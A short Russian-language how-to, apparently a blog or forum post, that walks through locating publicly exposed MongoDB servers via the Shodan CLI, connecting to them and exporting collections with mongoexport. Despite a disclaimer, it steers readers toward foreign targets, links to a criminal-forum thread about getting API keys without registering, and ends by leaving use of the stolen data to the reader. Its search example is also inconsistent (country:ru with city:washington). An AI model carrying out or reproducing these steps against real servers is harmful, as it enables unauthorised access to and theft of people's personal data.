MongoDB Data Leakage

MongoDB Data Leakage

xDoom

Утечки данных MongoDB.


Заметка не призывает к деструктивным действиям, вся информация даётся в образовательных целях. 

Помните, неправомерный доступ к компьютерной информации является уголовно-наказуемым преступлением.


Новости об утечках данных перестали удивлять. Целью воровства информации зачастую становятся персональные данные.

Основная причина возможности утечки информации - неверная настройка доступа к базам данных [1]. 

В заметке отражен пример доступа к базе данных (БД) MongoDB. Поиск открытых БД будем производить в поисковике Shodan.


Для начала необходимо установим клиент Shodan для Python[2].


$ easy_install shodan  


После полной установки, необходимо инициализировать клиент, указав свой API-key. Ключ можно найти в профиле пользователя Shodan, предварительно зарегистрировавшись.

Где взять API-key не регистрируясь рассказано в статье на ресурсе XSS.IS [3]


$ shodan init <API-key>


Получив сообщение Successfully initialized можно приступать к поиску. 

Поиск удобнее вести, указывая определенный продукт, страну и город. Учтите, что порядочные исследователи не выбирают целью исследования Россию.

Поэтому в качестве top-level domain можно выбрать страну вероятного противника.


$ shodan search product:mongodb country:ru city:washington


Вывод команды может выдать большой список данных, неудобных для разбора. Для удобства можно скачать данные в формате JSON.


$ shodan download mnogodb product:mongodb country:us 


Далее для анализа данных используйте параметр parse, а также указание необходимых полей для вывода и разделитель данных.


$ shodan parse --fields ip_str,org --separator , mnogodb.json.gz


Также полученные данные можно конвертировать в файлы формата xlsx и csv для последующего анализа.


$ shodan convert mnogodb.json.gz xlsx


После получения необходимых адресов серверов баз данных, можно подключиться к ним используя клиент MongoDB [4].

Установка клиента осуществляется просто (на примере Ubuntu Linux):


$ sudo apt install mongodb


Подключение к серверу БД и просмотр баз:


$ mongo <ipaddress>

$ show dbs


После нахождения интересующей вас информации можно скопировать данные определенной таблицы (коллекции, в терминах БД) [5]:

 

$ mongoexport --db <dbname> --collection <collectionname> --out dbexport.json


Что делать с полученными данными - решать вам.


[1] https://docs.mongodb.com/manual/security/

[2] https://cli.shodan.io/

[3] https://xss.is/threads/27486/

[4] https://docs.mongodb.com/manual/mongo/

[5] https://docs.mongodb.com/manual/reference/program/mongoexport/index.html

Report Page